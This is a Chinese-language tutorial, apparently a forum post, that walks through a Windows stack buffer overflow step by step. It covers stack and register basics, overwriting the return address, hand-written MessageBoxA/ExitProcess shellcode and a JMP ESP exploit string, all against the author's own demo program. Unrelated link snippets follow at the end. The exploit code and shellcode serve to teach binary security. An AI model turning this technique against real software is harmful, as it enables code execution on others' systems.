WINDOWS平台下的栈溢出攻击从0到1(篇幅略长但非常值得一看)
到1的这个过程。
笔者也希望能够通过这些技术分享帮助更多的朋友走入到二进制安全的领域中。
2.文章拓扑
由于本篇文章的篇幅略长,所以笔者在这里放一个文章的拓扑,让大家能够在开始阅读文章之前对整个文章的体系架构有一个宏观的了解。
.\01.介绍
.\02.文章拓扑
.\03.从栈开始
.\04.ESP、EBP寄存器与栈
.\05.函数调用与返回
.\06.开始溢出
.\07.深入分析
.\08.如何利用
.\09.获取API地址
.\10.编写shellcode
.\11.利用失败
.\12.获取JMP ESP地址
.\13.Exploit It!
.\14.结语
3.从栈开始
我们在文章的最开头先来引入一些基本的概念,也是后面成功理解这种漏洞的一些必要概念。
首先,就是这个“栈”。栈其实是一种数据结构,它遵从先进后出的原则。这个先进后出的意思也很简单,就是说先存储进去的数据,会被放在最里边,而后面存入的,则依次向外,所以最先进去的,最后才能出来。
我们还是给一张图,帮助大家理解。但是呢,这个图是笔者自己用微软的画图软件画的,希望大家不要吐槽,毕竟能吐槽的地方太多了。
通过这张图,相信大家也能够更加容易的理解栈这个东西了。
4.ESP、EBP寄存器与栈
接下来,我们来聊一聊ESP、EBP寄存器和栈之间的一些关系。我们这次通过实验来学习这个知识,同时通过这个实验也可以加强大家对栈的理解。
我们使用这样一个程序来观察栈与ESP和EBP寄存器的关系:
01
02
03
04
05
06
07
08
09
10
11
12
13
|
#include “stdAfx.h” int main() { _asm{ mov eax,0x41414141 mov ebx,0x61616161 push eax push ebx pop eax pop ebx } return 0; } |
zusheng:
解释一下上面这段代码的意思,_asm很简单就是使用汇编代码。
mov eax,0x41414141 这段代码是将十六进制数据0x41414141赋值给寄存器eax。
mov ebx,0x61616161 这段代码是将十六进制数据0x61616161赋值给寄存器ebx。
push eax 把eax寄存器中的内容入栈。push ebx 把ebx寄存器中的内容入栈。
pop eax 出栈操作,从栈中取出一个值赋给寄存器eax。
PS:上面文章介绍到了出栈只有一个出口,只能从下往上一个个有序的出去,而入栈操作也只能从上而下一个个进来。所以当前出站的数据就是在栈顶的数据,也就是前面十六进制数据0x61616161并且赋值给了寄存器eax。
pop ebx 出栈操作,从栈中取出一个值赋给寄存器ebx。
,也就是第一个push的地方。我们注意观察ESP寄存器的值,此时是0012FF34,如图:
接着,我们步过,入栈一个数据,如图:
注意ESP:
从0012FF34变成了0012FF30,也就是每次PUSH,我们的ESP寄存器都会做如下操作:
ESP = ESP - 4
而ESP其实是指向栈顶的,栈顶也就是我们栈的唯一出口,任何是后执行POP指令都是把在栈顶的数据出栈。那我们提到的另一个寄存器,可想而知就是指向栈底的了,也就是EBP寄存器。
我们来看看当前EBP寄存器指向什么地方:
可以看到是0012F80,也就是说,当前的栈的区域就是从0012FF30到0012FF80的这段内存所构成的。
出栈和入栈都是从栈顶出入,当数据进入栈的话指向栈顶的ESP就得减4,而数据入栈则是ESP加4。
5.函数调用与返回
我们还是拿个Demo来说事(同样会在文末提供下载),代码如下:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
|
#include "stdafx.h" #include "stdio.h" void test( int a, int b, int c) { printf ( "%d,%d,%d" ,a,b,c); } int main() { test(1,2,3); _asm{ mov eax,0x41414141 } return 0; } |
,我们用Immunity Debugger来加载程序,跳到这个地址:
,然后是2,然后是1。我们回过头来看C代码:
1
|
test(1,2,3); |
吗?这是因为这个函数的调用约定是stdcall,stdcall调用约定的函数的参数都是从右到左依次入栈的。这就是关于调用,我们需要了解的。
接着,我们先来聊一个简单的问题。
我们在C语言的所谓的函数,其实就是子程序而已。也就说,我们调用函数,其实就是让程序从主程序,也就是main调到子程序中去执行子程序的代码。
但是我们来看下图这个程序:
我们在main中调用了doSomething()子程序,当doSomething子程序执行完后就会回到main函数,继续执行printf()对吧?
那我们接下来的注意力就要放到这个函数返回上了,也就是我们的函数具体是如何返回的。
我们继续使用Demo2.exe来调,刚才我们已经来到了main函数,接着,我们在CALL test之前断下,F9过去,我们来看当前的栈顶:
就是我们的三个参数,最底下是第一个PUSH进去的,我们接下来进入这个CALL注意栈窗口。按下F7,如图:
可以看到当前的栈顶存储这004010A3,这个地址是什么?我们跳过去看看,但是在跳过去之前最好记下当前地址,也就是00401005,如图:
我们有了记录就能放心大胆的跳到当前栈顶的那个地址了,如图:
看到这里,仿佛已经对于函数返回的细节有了一个了解。
我们回到test函数内部,也就是我们记录的地址:
可以看到就是JMP到00401020,我们F8过去,如图:
如此,我们就跳入了test函数中了,我们不用关心其他细节,往下翻,翻到test函数的retn指令,如图:
我们在这个retn上面下断,F9过来,注意观察栈窗口,如图:
我就问你,此时的栈顶是什么?是不是很熟悉的感觉,不确定的朋友跳过去看看。
到这里,我们几乎感觉真相已经浮出水面了,接下来就是最后一点了。
我们截图保存当前的寄存器情况,如图:
然后,步过retn,对比前后的寄存器情况,如图:
可以看到,其实retn指令的操作就是将retn时的栈顶的数据出栈到EIP寄存器,用伪代码表示就是:
pop eip
而这个在retn时处于栈顶的数据,我们一般称它为“返回地址”。
这个概念呢,希望大家好好揣摩,这对于我们的栈溢出的利用是相当重要的。
6.开始溢出
接下来,我们就开始来学习Stack Buufer Overflow。首先,我们依然准备了一个Demo(依然会在文后提供下载),代码如下:
01
02
03
04
05
06
07
08
09
10
11
|
#include "stdAfx.h" #include "string.h" char exp [] = "ABCDEFGH" ; int main() { char buffer[8]; strcpy (buffer, exp ); return 0; } |
,而buffer也是,自然能够存下。
接下来,我们修改源文件的exp数组,改成:
1
|
char exp [] = "ABCDEFGHAAAAAAAAAAAA" ; |
,也就是说此时返回的话EIP会指向41414141处,调到这个地方去执行代码,我们跳一下看看:
可以看到EIP果然不计后果的指向了41414141,但是该片内存什么都没有。所以导致了如下错误:
这下知道发生了什么了吧。这也是Stack Overflow的利用点——覆盖返回地址。
7.深入分析
经过上面的分析,我们只是从表面上了解了是我们的exp数组的长度超过了buffer的长度,导致多出来的A覆盖到了关键的返回地址,导致程序在返回的时候跳到了41414141这个地址。
但是,我们还是不清楚这其中发生了什么。于是,我们还应该对这个过程进行更加深入的分析。我们可以点击Immunity Debugger的debug-restart来重新分析。Restart之后我们再次跳到00401010,如图:
我们把关注点放到strcpy函数上,因为正是strcpy将exp的值塞进buffer里的,所以,我们应该关注strcpy函数,如图:
我们在这里下一个断点,F9过来,观察函数的参数:
根据我们之前学习的stdcall的函数调用约定来看,当前栈顶的数据就是调用strcpy函数的第一个参数,下面则是第二个参数。
也就是说,是要将00422310这个地址的数据放入0012FF78这个空间中,那么,我们就应该将注意放到0012FF78这个地址上了,我们将这个地址放在数据窗口中跟随,如图:
接着,我们单步步过strcpy的CALL,看0012FF78的内存:
可以看到,这段内存已经被我们的41淹没了,此时,我们再次restart,再次来到main函数的第一条指令,观察栈窗口,如图:
可以看到0012FF84的位置就存储着我们的main函数的返回地址,然而,strcpy过后这个位置存储的数据已经成了如下图这样:
这就是这个程序的情况了,也就是说我们得从0012FF78一直覆盖到0012FF80就到了返回地址,后面的四个字节就是返回地址了。
所以,我们的exp数组的前8个字节填充buffer,跟着的4个字节覆盖到返回回地址之前,最后四个字节自然就是返回地址。
如此,我们就能随意的控制main函数返回的地址了。例如,我们让函数返回到66666666这个地址,就只需要将exp改为:
我们可以试试看,如图:
嘿嘿,和我们预想的一样,成功将返回地址覆盖为了66666666。
8.如何利用
接下来到了学习漏洞最有趣的环节,HOW TO EXPLOIT?嘿嘿,只要解决这个问题,我们就能通过漏洞来做些EVIL的事情了。
我们首先思考一下,目前,我们能够控制EIP指向我们想要的任意地址,可以没有地址上有我们想要的代码啊。
怎么办呢?其实办法还是有的,这些办法都是来自于前人的总结(向开拓者致敬!)
先说下最简单的办法,我们先回想一下,我们可以控制的可不止是EIP,我们连控制EIP都是间接的基于栈来控制的,其实我们能够直接控制的是栈。
我们可以进行如下布局,如图:
直接在返回地址下面放置我们的shellcode覆盖返回地址为我们shellcode的起始地址。
这样的话,在main函数返回的时候,就能跳到我们的shellcode中执行我们的shellcode了。
9.获取API地址
目前,我们已经解决了如何Exploit的问题,那么现在的当务之急就是获取API在DLL中的地址,因为这个东西是我们编写shellcode所必备的东西。
那么我们就可以使用这样一个程序来获取,代码如下:
/*对于这个程序的实现死宅在这里特别感谢k0shl和IEEE.两位大牛。由于死宅的C语言很菜,
而且国内网上的资料坑人。很多地方都不是很明白,在这样的时刻是k0shl和IEEE这两位
乐于助人的大牛为死宅讲了函数指针和两个API的用法。感谢。*/
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
#include "stdafx.h" #include "windows.h" #include "stdio.h" void Usage() { char *syb = "=" ; char tag[60]; for ( int i=0;i<60;i++) { tag = *syb; } printf ( "%s" ,tag); printf ( "\nAPIGeter\n[Author]bbs.ichunqiu.com\n[Usage]APIGeter [DLLName] [APIName]\n" ); printf ( "%s" ,tag); } int main( int argc, char * argv[]) { if (argc!=3) { Usage(); return 1; } HINSTANCE DLLAddr = LoadLibrary(argv[1]); DWORD APIAddr = ( DWORD )GetProcAddress(DLLAddr,argv[2]); printf ( "[APIGeter]Welcome to use the APIGeter\n[Author]bbs.ichunqiu.com\n" ); printf ( "DLL-Name:%s\nAddress:0x%x\n" ,argv[1],DLLAddr); printf ( "API-Name:%s\nAddress:0x%x\n" ,argv[2],APIAddr); return 0; } |
很简单的东西,但是却坑了死宅半天。
有了这个小工具——APIGeter(文末放出下载),大家再也不用怕C语言不好了。
直接如下图:
就能轻松的获取API的地址了。
关于这个程序,相信会C语言的朋友都能看懂了(网上的代码用函数指针,不知道作者怎么想的)
10.编写shellcode
接下来,我们要做的就是编写shellcode了。笔者给大家选取了一种较为简单的方式进行编写。
就是使用内联汇编,我们只需要在vs中用_asm{}把汇编代码写进去就可以了,首先,我们使用APIGeter获取MessageBoxA在user32.dll中的地址,是0x77d507ea,如图:
然后我们写这样一个程序,代码如下:
01
02
03
04
05
06
07
08
09
10
11
|
#include "stdafx.h" #include "windows.h" int main() { LoadLibrary( "user32" ); _asm{ //assembly code } return 0; } |
先解释一下,如果不LoadLibrary的话,这个DLL是不会链接到我们程序的,从而无法调用MessageBoxA这个API。
当然,其实也有办法可以在DLL未被链接的时候导入的,但是这个就留在后面来说。在这里,死宅为了降低实验的难度,所以就在源程序中就Load了我们需要的DLL。
然后就是用汇编来写了,代码如下:
01
02
03
04
05
06
07
08
09
10
|
xor ebx , ebx ;ebx = 00000000 push ebx ;入栈ebx push 0x4b434148 ;入栈字符串HACK mov eax , esp ;把当前栈顶的地址给eax push ebx ;入栈NULL push eax ;入栈字符串HACK\NULL push eax ;同上 push ebx ;入栈NULL mov eax ,0x77d507ea ;将MessageboxA的地址给eax call eax ;call MessageBoxA |
然后代码就成了这样:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
|
#include "stdafx.h" #include "windows.h" int main() { LoadLibrary( "user32" ); _asm{ xor ebx,ebx push ebx push 0x4b434148 mov eax,esp push ebx push eax push eax push ebx mov eax,0x77d507ea call eax } return 0; } |
编译运行一下:
但是当我们点击确定之后,如图:
一个错误出来了,这是因为我们的程序没能正常的退出,所以,我们还需要ExitProcess这个API,我们使用APIGeter搜一下:
可以看到是0x7c81d20a。我们记录一下,加入这段汇编:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
xor eax,eax ;eax清零 push eax ;入栈0 mov eax,0x7c81d20a ;通过eax间接调用ExitProcess call eax ;上面说了 综合一下,代码如下: #include "stdafx.h" #include "windows.h" int main() { LoadLibrary( "user32" ); _asm{ xor ebx,ebx push ebx push 0x4b434148 mov eax,esp push ebx push eax push eax push ebx mov eax,0x77d507ea call eax xor eax,eax push eax mov eax,0x7c81d20a call eax } return 0; } |
淹没的位置。我们在数据窗口中跟随。
然后找到strcpy的CALL,如图:
我们在这里断下,然后F9过来,然后步过这个CALL,看数据窗口,
看到了我们的shellcode吧,已经进入我们的程序了以33DB开头FFD0结尾。开始的地址是0012FF88。我们在反汇编窗口看一下,程序对不对,
可以看到,我们的shellcode安然无恙的放在了0012FF88这个地址处,我们接下来要做的就是修改66666666这个返回地址为0012FF88来在main函数返回的时候执行我们的shellcode。
修改过后,我们的exp数组就成下面这样了:
1
2
3
4
5
6
7
|
char exp [] = "AAAAAAAA" //buffer "AAAA" //before return address "\x88\xFF\x12\x00" //return address "\x33\xDB\x53\x68\x48\x41\x43\x4B" "\x8B\xC4\x53\x50\x50\x53\xB8\xEA" "\x07\xD5\x77\xFF\xD0\x33\xC0\x50" "\xB8\x0A\xD2\x81\x7C\xFF\xD0" ; //shellcode |
。而此时ESP+4的位置也是我们可控的,所以只要在内存中找到一处存储这JMP ESP指令的地址就可以了。到时候把返回地址覆盖成JMP ESP的地址,在retn后就会执行JMP ESP,而那时候的ESP的位置正好是我们可控的。
这就是JMP ESP执行恶意代码的原理。
12.获取JMP ESP的地址
接下来,我们要做的事情就是获取JMP ESP的地址,我们还是写一个程序来实现,这个简单的过程。
下面的代码就能实现在User32.dll中搜索Jmp Esp的地址(从网上找到的):
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
#include "stdAfx.h" #include "windows.h" #include "stdio.h" #include "stdlib.h" int main() { BYTE *ptr; int position; HINSTANCE handle; BOOL done_flag = FALSE; handle = LoadLibrary( "user32.dll" ); if (!handle) { printf ( "load dll error!" ); exit (0); } ptr = ( BYTE *)handle; for (position = 0; !done_flag; position++) { try { if (ptr[position]==0xFF && ptr[position+1]==0xE4) { int address = ( int )ptr + position; printf ( "OPCODE found at 0x%x\n" , address); } } catch (...) { int address = ( int )ptr + position; printf ( "END OF 0x%x\n" , address); done_flag = true ; } } getchar (); return 0; } |
原理很简单,就是从Load的user32.dll的起始地址往后搜索JMP ESP的机器码,搜到就显示出来,直到出现异常才停止搜索。
这是网上的代码,此处也给出一个工具——SearchTransfer(死宅自己写的辣鸡工具,就不拿来丢人现眼了,文末放出下载)
我们使用SearchTransfer来搜索位于user32.dll的JMP ESP地址,
搜到很多,随意找个地址,比如第一个0x77d29353。由于是小端的字节序所以倒过来就是\x53\x93\xd2\x77。
13.Exploit It!
现在,我们已经有了JMP ESP的地址了,接下来就覆盖返回地址为\x53\x93\xd2\x77吧,嘿嘿。
我们修改exp如下:
1
2
3
4
5
6
7
|
char exp [] = "AAAAAAAA" //buffer "AAAA" //before return address "\x53\x93\xd2\x77" //return address "\x33\xDB\x53\x68\x48\x41\x43\x4B" "\x8B\xC4\x53\x50\x50\x53\xB8\xEA" "\x07\xD5\x77\xFF\xD0\x33\xC0\x50" "\xB8\x0A\xD2\x81\x7C\xFF\xD0" ; //shellcode |
,数据窗口跟随。
来到strcpy的CALL,断下,F8步过,看数据窗口,到目前为止,一切都和我们预想的一样。接着来到retn,看ESP和栈:
此时retn就会跳到77D29353处,然后ESP应该加4指向0012FF88,我们步过retn,
这个地址确实是JMP ESP
然后看ESP
确实是加4了,而此时的ESP就是shellcode的地址,F8就跳到了shellcode,
这就是Stack Overflow的从分析到利用的过程了。
14.结语
其实讲真的,写这篇文章真的很累,我在WORD里面是整整26页,过程中要在调试的同时截图,想措辞,这样写了一整天,从早上起床到晚上睡觉,真的非常的累。
但是,同时也非常值得,因为这篇文章将帮助很多人实现二进制安全从0到1的过程。
每一次成功的弹出MessageBox的时候,都值得我们铭记。
但是,绝对不能自满,因为做技术的必须要懂得敬畏。这样才能不忘初心,也才能方得始终。
WINDOWS平台下的栈溢出攻击从0到1(篇幅略长但非常值得一看)的更多相关文章
- Windows平台下解决Oracle12c使用PDB数据库创建SDE的问题 分类: oracle sde 2015-06-12 11:03 88人阅读 评论(0) 收藏
Windows平台下解决Oracle12c使用PDB数据库创建SDE的问题 Oracle 12C中引入了CDB与PDB的新特性,在ORACLE 12C数据库引入的多租用户环境(Multitenant ...
- Windows平台下利用APM来做负载均衡方案 - 负载均衡(下)
概述 我们在上一篇Windows平台分布式架构实践 - 负载均衡中讨论了Windows平台下通过NLB(Network Load Balancer) 来实现网站的负载均衡,并且通过压力测试演示了它的效 ...
- Windows平台下的读写锁
Windows平台下的读写锁简单介绍Windows平台下的读写锁以及实现.背景介绍Windows在Vista 和 Server2008以后才开始提供读写锁API,即SRW系列函数(Initialize ...
- [转]Windows平台下安装Hadoop
1.安装JDK1.6或更高版本 官网下载JDK,安装时注意,最好不要安装到带有空格的路径名下,例如:Programe Files,否则在配置Hadoop的配置文件时会找不到JDK(按相关说法,配置文件 ...
- windows平台下基于QT和OpenCV搭建图像处理平台
在之前的博客中,已经分别比较详细地阐述了"windows平台下基于VS和OpenCV"以及"Linux平台下基于QT和OpenCV"搭建图像处理框架,并 ...
- Windows平台下的内存泄漏检测
在C/C++中内存泄漏是一个不可避免的问题,很多新手甚至有许多老手也会犯这样的错误,下面说明一下在windows平台下如何检测内存泄漏. 在windows平台下内存泄漏检测的原理大致如下. 1. 在分 ...
- 不同WINDOWS平台下磁盘逻辑扇区的直接读写
不同WINDOWS平台下磁盘逻辑扇区的直接读写 关键字:VWIN32.中断.DeviceIoControl 一.概述 在DOS操作系统下,通过BIOS的INT13.DOS的INT25(绝对读).INT ...
- Spotlight on Mysql在Windows平台下的安装及使用简介
Spotlight on Mysql在Windows平台下的安装及使用简介 by:授客 QQ:1033553122 1. 测试环境 Win7 64位 mysql-connector-odbc- ...
- Windows 平台下安装Cygwin后,sshd服务无法启动
Windows 平台下安装Cygwin后,sshd服务无法启动 系统日志记录信息: 事件 ID ( 0 )的描述(在资源( sshd )中)无法找到.本地计算机可能没有必要的注册信息或消息 DLL 文 ...
随机推荐
- python学习 day5 (3月6日)
字典映射,{}键值对,key 唯一的 ,可哈希,容器型数据类型 可变的(不可哈希): 字典 列表 集合 都不可做键 不可变的(可哈希): 数字 字符串 bool 元组 frozeset() 可以做键 ...
- 进入快速通道的委托(深入理解c#)
1.方法组:所有的名称相同的重载方法合在一起就成为一个方法组. 2.协变性和逆变性: 协变性指的是——泛型类型参数可以从一个派生类隐式转化为基类. 逆变性指的是——泛型类型参数可以从一个基类隐式转化为 ...
- chmod / chown /chattr
显示了七列信息,从左至右依次为:权限.文件数.归属用户.归属群组.文件大小.创建日期.文件名称 d :第一位表示文件类型 d 文件夹 - 普通文件 l 链接 b 块设备文件 p 管道文件 c 字符设备 ...
- vue.js实战(文摘)
---------------第1篇 基础篇 第1章 初始vue.js 第2章 数据绑定和第一个vue应用 第3章 计算属性 第4章 v-bind及class与style绑定 第5章 内置命令 第6章 ...
- Le Chapitre X
Il se trouvait dans la région des astéroïdes 325, 326, 327, 328, 329 et 330. Il commença donc par le ...
- kmp算法笔记
https://blog.csdn.net/v_july_v/article/details/7041827#comments 链接讲得很详细,画几个重点方便以后忘了捡 next[]数组从第i位递推算 ...
- JQuery EasyUI 1.5.1 美化主题大包
https://my.oschina.net/magicweng/blog/833266
- property属性[Python]
一.property解释 根据文档资料解释: property([fget[, fset[, fdel[, doc]]]]) Return a property attribute for new-s ...
- (拓扑)确定比赛名次 -- hdu -- 1285
http://acm.hdu.edu.cn/showproblem.php?pid=1285 确定比赛名次 Time Limit: 2000/1000 MS (Java/Others) Memo ...
- POJ3181--Dollar Dayz(动态规划)
Farmer John goes to Dollar Days at The Cow Store and discovers an unlimited number of tools on sale. ...